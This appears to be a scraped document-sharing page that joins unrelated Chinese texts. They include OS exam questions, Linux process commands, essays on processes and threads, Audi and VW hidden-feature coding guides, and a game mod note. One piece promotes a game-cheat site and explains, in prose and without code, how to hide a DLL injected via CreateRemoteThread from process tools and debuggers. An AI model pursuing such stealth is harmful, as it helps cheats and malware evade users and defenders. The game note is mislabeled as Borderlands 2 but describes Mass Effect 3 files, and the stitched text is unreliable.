C. 低级通信 D. 信号量 6. 原语是(B)。 A、一条机器指令 B、若干条机器指令组成 C、一条特定指令 D、中途能打断的指令 7. 进程和程序的一个本质区别是(A)。 A.前者为动态的,后者为静态的; B.前者存储在内存,后者存储在外存; C.前者在一个文件中,后者在多个文件中; D.前者分时使用CPU,后者独占CPU。 8. 任何两个并发进程之间存在着(D)的关系。 A.各自完全独立B.拥有共享变量 C.必须互斥D.可能相互制约 9. 进程从运行态变为等待态可能由于(B )。 A.执行了V操作 B.执行了P 操作 C.时间片用完 D.有高优先级进程就绪 10. 用PV操作管理互斥使用的资源时,信号量的初值应定义为(B)。 A.任意整数 B.1 C.0 D.-1

Dll 模块隐藏技术

Dll模块隐藏技术 学习各种外挂制作技术,马上去百度搜索"魔鬼作坊"点击第一个站进入、快速成为做挂达人。 如果你细细读完这篇文章,你会学到一下内容: 1.PEB,TEB,LDR_DATA_TABLE_ENTRY等数据结构 2.自己覆盖掉自己执行过的一段代码 3.调试这个Dll你会发现DLL_PROCESS_ATTACH中的代码在OD首次停下即加载停止时已经执行完了! 多么美妙啊!哈哈,OD不会发现你执行了什么 4.本例最后附件有个ASM的控制台程序,用SDK编写,你可以学到用汇编写一个基本的控制台程序的格式 5.最后那个控制台源码还包含完整的CreateRemoteThread注入进程的写法 本文主要讲的是怎样隐藏一个dll模块,这里说的隐藏是指,dll被加载后怎样使它用一般的工具无法检测出来。为什么要这么做呢? 1.远程线程中的应用 (1)大家都知道,远程线程注入主要有两种一种是直接copy母体中预注入的代码到目标进程地址空间(WriteProcessMemory), 然后启动注入的代码(CreateRemoteThread),这种远程线程一旦成功实现,那么它只出现在目标进程的内存中, 并没有对应的磁盘文件,堪称进程隐藏中的高招,可是缺点就是,你必须要在注入代码中对所有直接寻址的指令进行修正, 这可是个力气活,用汇编写起来很烦。 (2)另一种更为常用的方法是注入一个dll文件到目标进程,这种方法的实现可以是以一个消息Hook为由进行注入, 或者仍然使用CreateRemoteThread,这种方法的优点是Dll文件自带重定位表,也就是说你不必再为修正直接寻址 指令而烦恼了!,dll自己会重定位!~~~嗯,真是不错的方法---可是我们说它不如上面说的方法牛。为什么? 因为它的致命伤就是可以用进程管理工具看见被加载的dll文件名、文件路径。这真是太不爽了,因为只要用户看看模块列表 很容易发现可疑模块!,再依据名字,找到路径,定位文件---dll文件就这样暴露了.这样也就不是很完美的隐藏进程。 [现在不用怕啦~~本文将介绍的方法就是为了上述不足而存在地~~~,让一般的工具看不到已加载的某个dll] 2.自身文件的需要 这个说起来比较简单,比如我的一个程序运行了,我不想让用户知道我的EXE使用了某个

Linux下查看进程和线程

在Linux中查看线程数的三种方法 1、top -H 手册中说:-H : Threads toggle 加上这个选项启动top,top一行显示一个线程。否则,它一行显示一个进程。 2、ps xH 手册中说:H Show threads as if they were processes 这样可以查看所有存在的线程。 3、ps -mp 手册中说:m Show threads after processes 这样可以查看一个进程起的线程数。 查看进程 1. top 命令 top命令查看系统的资源状况 load average表示在过去的一段时间内有多少个进程企图独占CPU zombie 进程:不是异常情况。一个进程从创建到结束在最后那一段时间遍是僵尸。留在内存中等待父进程取的东西便是僵尸。任何程序都有僵尸状态,它占用一点内存资源,仅仅是表象而已不必害怕。如果程序有问题有机会遇见,解决大批量僵尸简单有效的办法是重起。kill是无任何效果的stop模式:与sleep进程应区别,sleep会主动放弃cpu,而stop 是被动放弃cpu ,例单步跟踪,stop(暂停)的进程是无法自己回到运行状态的。 cpu states: nice:让出百分比irq:中断处理占用 idle:空间占用百分比iowait:输入输出等待(如果它很大说明外存有瓶颈,需要升级硬盘(SCSI)) Mem:内存情况 设计思想:把资源省下来不用便是浪费,如添加内存后free值会不变,buff值会增大。判断物理内存够不够,看交换分区的使用状态。 交互命令: [Space]立即刷新显示 [h]显示帮助屏幕

全系Q5刷隐藏教程(10款-12款、13款)

全系Q5刷隐藏教程(10 款-12 款、13 款)10款-12款舒适 1,隐藏菜单 VCDS 进5F模块,点击匹配(10),在通道里填入06,读取之后,将原来的0改成1,测试保存后退出就可以了。 现在同时按住排档旁边的car 和 setup 两个按键几秒钟,屏幕上就会出现绿色的隐藏菜单。如果不成功,应该按键的顺序出了问题,保证两个按键是同时按住的,多试几次肯定成功。 2,RS 开机画面 进入隐藏菜单,依次选择 car,carcodingvehicle,找到 configuration line 这一项,一共5个选项,选择哪个凭自己的喜欢,选择好之后点击最下面的 Update Splashscreen 就可以了。重启 MMI 之后便会出现新的开机画面,重启 MMI 的方法参照视频。 3,蓄电池电量 进入隐藏菜单,依次选择 car,carextdevicelist,将 Battery 勾选。然后按 return 后退,进入 carmenuoption,将 Battery 设置成5。 重启 MMI 之后,在 MMI 里便会看到蓄电池电量一项,方便随时查看蓄电池电量。 4,日间行车灯 VCDS 软件,依次选择09中央电气模块,07编码,点击长编码帮助,找到 Byte3把原来的10000000改成10010001,保存即可 日间行车灯可以说是 Q5的必调功能,有了日间行车灯,回头率注目率直线上升,很多车都是提车时就带了这个功能,如果没有的话可以参照自己调出来。 5,LED 亮度同样是先进入09中央电气模块,这里要点击16安全访问(密码是20113),之后点击10匹配,读取通道3,把7改成自己喜欢的数值(1-100),保存即可。 调出日间行车灯后,在白天会发现奥迪的灯不如奔驰和保时捷那么亮,其实不然。原因在于奥迪默认的亮度只有7%,喜欢的话完全可以调成100%,超级亮。这里就不上视频了,我的车调成了100%亮度,远远的就能一目了然。 6,紧急刹车自动双闪 依次进入09中央电气模块,07编码,点击长编码帮助,把 Byte8里面的数据bit0由原来的0 改成1,退出执行即可。 打开这个功能后,当车速高于90公里紧急刹车时,汽车会自动跳双闪给后车警示,算是很好的安全功能。但因为一直没试过,所以不好说,紧急刹车到底是多紧急呢?不管怎样,打开这个功能是好的。 7,背景照明 先进入隐藏菜单,依次选择 car,carmenuoperation,找到 interior light 这一项,把数字改成5。之后按 return 键后退,找到 cardevicelist,找到 Interior Light,勾选上。再打开 VCDS软件,依次进入09中央电气模块,07编码,点击长编码帮助,把 Byte16里面的数据bit6由原来的0改成1,退出执行即可。 打开这个功能后,会在MMI里多出一个选项:背景照明。可以调节驾驶席和副驾驶脚窝灯的亮度。并且这个灯是常亮的,非常有助于提升车内档次。 8,倒车后视镜下翻 打开 VCDS软件,依次点击52乘客侧车门,07编码,会看到当前编码是011D02205000440004,把50改为54,执行即可打开这个功能之后,当挂入 R 档,并且后视镜的旋钮选择右后视镜时,后视镜会自动下翻一定的角度,方便查看,类似于宝马上的功能。但后视镜下翻的角度极为有限,起不到什么大的帮助,可以调出来新鲜新鲜。 9,经济驾驭模式依次选择17仪表板,10匹配,在通道内填如77,然后读取,再填入新的数据255,测试保存即可。

《无主之地2》DLC中隐藏武器模块添加到幽灵商店方法

《无主之地2》DLC中隐藏武器模块添加到幽灵商店方法 DLC提供了新的武器模块如下: sfxgamecontentdlc_shared.sfxweaponmod_assaultriflesuperpen(突击步枪高速枪管) sfxgamecontentdlc_shared.sfxweaponmod_assaultriflesuperscope(突击步枪热能瞄准镜) sfxgamecontentdlc_shared.sfxweaponmod_pistolheadshot(手枪头部创伤系统) sfxgamecontentdlc_shared.sfxweaponmod_pistolsuperdamage(手枪重型枪管) sfxgamecontentdlc_shared.sfxweaponmod_pistolultralight(手枪超轻材料) sfxgamecontentdlc_shared.sfxweaponmod_shotgundamageandpen(霰弹高速枪管) sfxgamecontentdlc_shared.sfxweaponmod_shotgunsupermelee(霰弹万用刀) sfxgamecontentdlc_shared.sfxweaponmod_smgpenetration(冲锋枪高速枪管) sfxgamecontentdlc_shared.sfxweaponmod_smgstabilization(冲锋枪后坐力系统) sfxgamecontentdlc_shared.sfxweaponmod_sniperrifledamageandpen(狙击步枪高速枪管 ) sfxgamecontentdlc_shared.sfxweaponmod_sniperriflesuperscope(狙击步枪热能瞄准镜) 但其中突击步枪热能瞄准镜和狙击步枪高速枪管在游戏中无法捡到或买到 用ME3Coalesced把它添加到幽灵商店bioui.ini > sfxgamecontent > sfxguidata > store > spectre > storeitemarray添加 (ItemType=TYPE_MOD,ItemClassName="sfxgamecontentdlc_shared.sfxweaponmod_assaultriflesuperscope",BaseCost=0) (ItemType=TYPE_MOD,ItemClassName="sfxgamecontentdlc_shared.sfxweaponmod_sniperrifledamageandpen",BaseCost=0)当然你也可以用存档修改器直接添加 更多相关资讯请关注:无主之地2专题 ? ′?¤ ?2????? ?? ¥è??é ?https://www.wendangku.net/doc/5b17813784.html,1

进程和线程的选择

鱼还是熊掌:浅谈多进程多线程的选择 关于多进程和多线程,教科书上最经典的一句话是“进程是资源分配的最小单位,线程是CPU调度的最小单位”,这句话应付考试基本上够了,但如果在工作中遇到类似的选择问题,那就没有这么简单了,选的不好,会让你深受其害。 经常在网络上看到有的XDJM问“多进程好还是多线程好?”、“Linux下用多进程还是多线程?”等等期望一劳永逸的问题,我只能说:没有最好,只有更好。根据实际情况来判断,哪个更加合适就是哪个好。 我们按照多个不同的维度,来看看多线程和多进程的对比(注:因为是感性的比较,因此都是相对的,不是说一个好得不得了,另外一个差的无法忍受) 看起来比较简单,优势对比上是“线程 3.5 v 2.5 进程”,我们只管选线程就是了? 呵呵,有这么简单我就不用在这里浪费口舌了,还是那句话,没有绝对的好与坏,只有哪个更加合适的问题。我们来看实际应用中究竟如何判断更加合适。 1)需要频繁创建销毁的优先用线程 原因请看上面的对比。 这种原则最常见的应用就是Web服务器了,来一个连接建立一个线程,断了就销毁线程,要是用进程,创建和销毁的代价是很难承受的

2)需要进行大量计算的优先使用线程 所谓大量计算,当然就是要耗费很多CPU,切换频繁了,这种情况下线程是最合适的。 这种原则最常见的是图像处理、算法处理。 3)强相关的处理用线程,弱相关的处理用进程 什么叫强相关、弱相关?理论上很难定义,给个简单的例子就明白了。 一般的Server需要完成如下任务:消息收发、消息处理。“消息收发”和“消息处理”就是弱相关的任务,而“消息处理”里面可能又分为“消息解码”、“业务处理”,这两个任务相对来说相关性就要强多了。因此“消息收发”和“消息处理”可以分进程设计,“消息解码”、“业务处理”可以分线程设计。 当然这种划分方式不是一成不变的,也可以根据实际情况进行调整。 4)可能要扩展到多机分布的用进程,多核分布的用线程 原因请看上面对比。 5)都满足需求的情况下,用你最熟悉、最拿手的方式 至于“数据共享、同步”、“编程、调试”、“可靠性”这几个维度的所谓的“复杂、简单”应该怎么取舍,我只能说:没有明确的选择方法。但我可以告诉你一个选择原则:如果多进程和多线程都能够满足要求,那么选择你最熟悉、最拿手的那个。 需要提醒的是:虽然我给了这么多的选择原则,但实际应用中基本上都是“进程+线程”的结合方式,千万不要真的陷入一种非此即彼的误区。

进程线程笔记

DAY 1 进程的基本概念: 1.进程与程序的区别: 程序:存储在磁盘上可执行指令的集合,是一个文件。 例如:a.out文件就是一个程序。 进程:程序一次执行的过程,伴随着资源的分配和释放。 区别: <1>进程是动态的,运行在内存中,并伴随着资源的分配与释放。 <2>程序是静态的,一般存在在磁盘上,没有执行的概念。 2.进程的标示 就绪态:进程所有需要的条件已经准备完成,等待CPU的调度。 运行态(R-->running):进程占用CPU,并在CPU上运行。 可中断等待态(S):进程正在休眠,等待某个资源来唤醒它。也可以被其他信号中断唤醒。 不可中断等待态(D):进程正在休眠,等待某个资源来唤醒它。不能 被其他信号中断唤醒。 停止态(T):进程暂停接受某种处理。例如:gdb调试断点信息处理。僵尸态(Z):进程以及结束但是还没有释放进程资源。例如:PID,PPID等未释放。

+ : 表示该进程在前台运行。例如:S+ ,R+等,没有+表示在后台运行。各个状态之间的转换如下图: 时间片:CPU分配给一个进程所运行的时候。实现消耗完成后,进程处于等待态。 3.进程相关命令详解 (1)常用:pstree -p. <2>ps(process status) 查看当前系统进程的工具

a.给当前进程截取一个快照,来查看我们的PID号 ps -ef | grep “进程名/进程ID” b.查看进程第一行的信息。 ps -ef | head -1 c.查看当前进程的状态 ps aux | grep “进程名/进程ID” <3>kill 给指定的PID进程发送信号 使用方法: kill -信号的宏名 PID 或者 kill -信号的编号 PID号 常用宏: 宏名编号功能 SIGKILL 9 杀死进程。 SIGCONT 18 让信号继续运行。 SIGSTOP 19 让信号停止。 SIGCHLD 17 子进程结束的时候,给父进程发送该 信号。 <4>bg(backgroud) 将一个挂起的进程在后台的运行。 使用方法:bg job号把挂起的进程放到后台运行。 <5>fg(foreground) 将后台的进程到前台运行。 ./a.out 默认是在前台运行我们的程序。我们可以在启动的时候让我们的程序在后台运行。 ./a.out & 让程序在后台运行。这里的&符合表示把我们的程序放到

大众系列5053刷隐藏参考教程 (2)

●开篇语 很多大众品牌的“玩家”一定都了解一套名为5053的软件,该软件可以用来调试车辆性能、清除错误代码、开启隐藏功能等作用,大众集团旗下的所有品牌,比如奥迪、斯柯达都适用这套软件。 然而在使用5053软件的朋友中,大多还是冲着那些隐藏功能来的。通过该软件可以实现的隐藏功能不下百种,很多都很实用。不过不同车型具备的隐藏功能不同,即便是同款车型如果生产年代不同,功能上也会有所差异,因此一篇文章中介绍周全不太现实。本文我们挑选了一些关注度比较高的实用性功能为大家介绍,如果您感兴趣的话不妨自己试试,也欢迎在文章回复或编辑博客中与我们交流。 这里做一个提示,开启隐藏功能的前提是车辆具备相应的硬件条件,比如:想调出伴你回家功能的前提是你的车必须是自动大灯,想调迎宾座椅的前提是您的车必须为电动座椅,诸如此类。另外,同样的隐藏功能在不同年份生产的不同车型上,对应在软件上的编码也不同,因此为了不给大家带来无谓的困扰,图片中部分编码我们进行了模糊处理。 ●软件介绍

5053这套软件在网上就可以买到,搭配这套软件的有一根数据线是专用的,软件安装光盘加数据线一共100元--200元左右也不算太贵。只要把软件安装在电脑上,再用数据线把车辆的OBD和电脑连接起来就可以使用了,这里要提醒大家一下,这根数据线是要安装驱动程序的,数据线的驱动程序在5053软件的安装光盘中就可以找到。 ●转向灯闪烁次数功能 大众旗下的车型都有一个小功能,就是轻轻拨动转向灯的拨杆(不用拨到底)时,转向灯默认会闪烁三下,通过5053调试可以改变转向灯闪烁的次数,最小闪烁1次,最多闪烁5次。

『原厂设定闪烁3次』

进程线程的空间问题

进程与线程的空间问题 这两天有同学问到进程线程的地址空间的问题,提到在linux下每个进程单独占有4G的虚拟地址空间,而这个进程下的所有线程共享着它的地址空间。这只是一个概念上的理解,具体是怎么回事呢? 在说这个问题之前我们先说一下早期的内存管理机制。在早期的计算机中,程序都是直接运行在内存上的,也就是说程序中访问的内存地址都是实际的物理内存地址。当计算机同时运行多个程序时,必须保证这些程序用到的内存总量要小于计算机实际物理内存的大小。那当程序同时运行多个程序时,操作系统顺次向下分配物理内存地址例如一台计算机的内存大小是128M,现在同时运行程序A和B,A需占用内存30M,B需占用内存60M。计算机在给程序分配内存时先将内存中的前30M分配给程序A,接着再从内存中剩余的98M中划分出60M分配给程序B。这种分配方法可以保证程序A和程序B都能运行,但是这种简单的内存分配策略问题很多。首先进程地址空间不隔离。由于程序都是直接访问物理内存,恶意程序可以很容统修改别的进程的内存数据,以达到破坏的目的。即使是非恶意的,但是有bug的程序也可能不小心修改了其它程序的内存数据,就会导致其它程序的运行出现异常。其中一个任务失败了,可能也会影响其它的任务。其次是程序运行的地址不确定。当内存中的剩余空间可以满足程序C的要求后,操作系统会在剩余空间中随机分配一段连续的20M大小的空间给程序C使用,因为是随机分配的,所以程序运行的地址是不确定的。

内存使用效率低。在A和B都运行的情况下,如果用户又运行了程序C,而程序C需要20M大小的内存才能运行,而此时系统只剩下8M的空间可供使用,所以此时系统必须在已运行的程序中选择一个将该程序的数据暂时拷贝到硬盘上,释放出部分空间来供程序C使用,然后再将程序C的数据全部装入内存中运行。可以想象得到,在这个过程中,有大量的数据在装入装出,导致效率十分低下。 为了解决上述问题,人们设计了间接的地址访问方法访问物理内存。按照这种方法,程序中访问的内存地址不再是实际的物理内存地址,而是一个虚拟地址,然后由操作系统将这个虚拟地址映射到适当的物理内存地址上。这样,只要操作系统处理好虚拟地址到物理内存地址的映射,就可以保证不同的程序最终访问的内存地址位于不同的区域,彼此没有重叠,就可以达到内存地址空间隔离的效果。 当创建一个进程时,操作系统会为该进程分配一个4GB大小的虚拟进程地址空间。之所以是4GB,是因为在32位的操作系统中,一个指针长度是4字节(64位系统是8字节,由cpu的寻址位数决定),而4字节指针的寻址能力是从0x00000000~0xFFFFFFFF,最大值0xFFFFFFFF表示的即为4GB大小的容量。与虚拟地址空间相对的,还有一个物理地址空间,这个地址空间对应的是真实的物理内存。如果你的计算机上安装了1G大小的内存,那么这个物理地址空间表示的范围是0x00000000~0x3FFFFFFF。当操作系统做虚拟地址到物理地址映射时,只能映射到这一范围。当进程创建时,每个进程都会有一个自己的4GB虚拟地址空间。要注意的是这个4GB的地址空间是“虚

Visualizer模块快速入门教程

Visualizer 模块快速入门教程
下面的教程将示范如何使用 Visualizer。 z 管理 Project: 介绍 MS Modeling 中的 Project,并示范如何使用它们管理工作 流文件。 z 绘制简单分子: 介绍用于绘制链和环的绘制工具,编辑键级和元素类型并且 测量不同的几何性质。 z 绘制卟啉分子: 显示如何操纵片断并使用 Display Style 对话框。 z 绘制有机金属结构: 介绍片断浏览并示范如何使用 Find Symeetry 工具。 z 将分子对接到表面: 介绍了用于连接晶体结构的表面模建。 z 使用聚合物模建工具: 介绍了构建多种类型聚合物结构的聚合物模建工具。 z 使用层模建工具: 先是如何使用层模建工具来构造一个界面和金属-聚合物金属分层结构。 z 使用晶体模建工具: 介绍用于构造并可视化 3D 周期结构的晶体模建工具。
1.管理 Project
背景 当你正在运行一些高级的操作,例如 Discover 或者 Amporphous Cell 工作的时候,会生 成具有不同文件名的不同文档。要使管理这些文档变得更简单,MS Modeling 有一个叫做 Project Explorer 的文件管理器。 它与一些高级程序程序语言包如 VC++的文档管理系统相似。 与程序可以生成文档和文件夹相同, 你也可以生成自己的文件夹和文档来订制文档组织并帮 助你纪录所作的工作。 介绍 本教程分为两个部分。第一部分描述了一个简单的 Project,在这里你会看到如何执行 计算,例如能量的最小化。第二和以后的部分将通过生成自己的 Project 来进行指导。因为 处理 Project 是 MS Modeling 中的一个基本部分,也是进行其它教程的参考部分。 (1).例子 Project 的示范性细目分类 此部分由一个例子 Project 的细目分类组成。只用于示范目的,不牵涉到任何要完成的 工作。在这个例子中,一个 m-二甲苯已经被导入并进行了最小化,然后执行了动力学运算 并对其进行了分析。现在对其进行细分来反映每一步在 Project 管理中的变化。 a.一开始输入 m-二甲苯后的 Project 图。
b.在最小化运算后,一个 m-xylene Disco Min 文件夹出现,最小化后的结构被放到了此

进程线程的概念

提起程序这个概念,大家再也熟悉不过了,程序与进程概念是不可分的。程序是为了完成某项任务编排的语句序列,它告诉计算机如何执行,因此程序是需要运行的。程序运行过程中需要占有计算机的各种资源才能运行下去。如果任一时刻,系统中只有一道程序,即单道程序系统,程序则在整个运行过程中独占计算机全部资源,整个程序运行的过程就非常简单了,管理起来也非常容易。就象整个一套房子住了一个人,他想看电视就看电视,想去卫生间就去卫生间,没人和他抢占资源。但为了提高资源利用率和系统处理能力,现代计算机系统都是多道程序系统,即多道程序并发执行。程序的并发执行带来了一些新的问题,如资源的共享与竞争,它会改变程序的执行速度。就象多个人同时住一套房子,当你想去卫生间的时候,如果此时卫生间里有人,你就得等待,影响了你的生活节奏。如果程序执行速度不当,就会导致程序的执行结果失去封闭性和可再现性,这是我们不希望看到的。因此应该采取措施来制约、控制各并发程序段的执行速度。由于程序是静态的,我们看到的程序是存储在存储介质上的,它无法反映出程序执行过程中的动态特性,而且程序在执行过程中是不断申请资源,程序作为共享资源的基本单位是不合适的,所以需要引入一个概念,它能描述程序的执行过程而且可以作为共享资源的基本单位,这个概念就是进程。 进程的生命周期 进程和人一样是有生命的,从诞生到死亡要经历若干个阶段。一般说来进程有三种状态:就绪、执行、等待。由多种原因可以导致创建一个进程,例如一个程序从外存调入内存开始执行,操作系统就要为其创建进程,当然还可以有其它原因,如一个应用进程为完成一个特殊的任务,可以自己创建一个子进程。进程被创建后就是在内存中,处于就绪状态,所谓就绪状态就是具备除了CPU之外的所有资源,万事具备,只欠东风,一旦占有 了CPU,就变成了执行状态,执行中如果需要等待外围设备输入数据,则进程就沦落为 等待状态,操作系统又会从就绪状态队列中调度一个进程占有CPU。等到数据到来后, 等待状态的进程又被唤醒成为就绪状态。这些状态的转换是通过进程控制原语实现的。程序的运行是通过进程体现的,操作系统对进程进行管理和控制,那么操作系统怎么了解到进程的状态呢,怎么把资源分配给进程呢,而且进程做状态转换时CPU现场保存在那呢?这要说到PCB(进程控制快)。PCB是进程的唯一标志,在其中记录了进程的全部信息,它是一种记录型的数据结构,相当于进程的档案。操作系统就通过PCB感知进程的存在,通过PCB了解进程和控制进程的运行。PCB也是放在内存中的,如果PCB太大,有些系 统把PCB中一些不重要的信息放在外存中。 进程执行速度的制约 并发进程由于共享系统内部资源,因此导致进程执行速度上的制约,这种制约分为:间接制约与直接制约。间接制约引起进程之间的互斥执行,直接制约引起进程间的同步执行。例如一个家里如果只有一个卫生间,卫生间这个公有资源使得每个人只能互斥使用它,这就是间接制约。而直接制约是指并发进程各自执行的结果互为对方的执行条件,例如司机与售票员的关系,当司机到站停车后,售票员才能开门,而只有售票员关门后,司机才

相关文档
相关文档 最新文档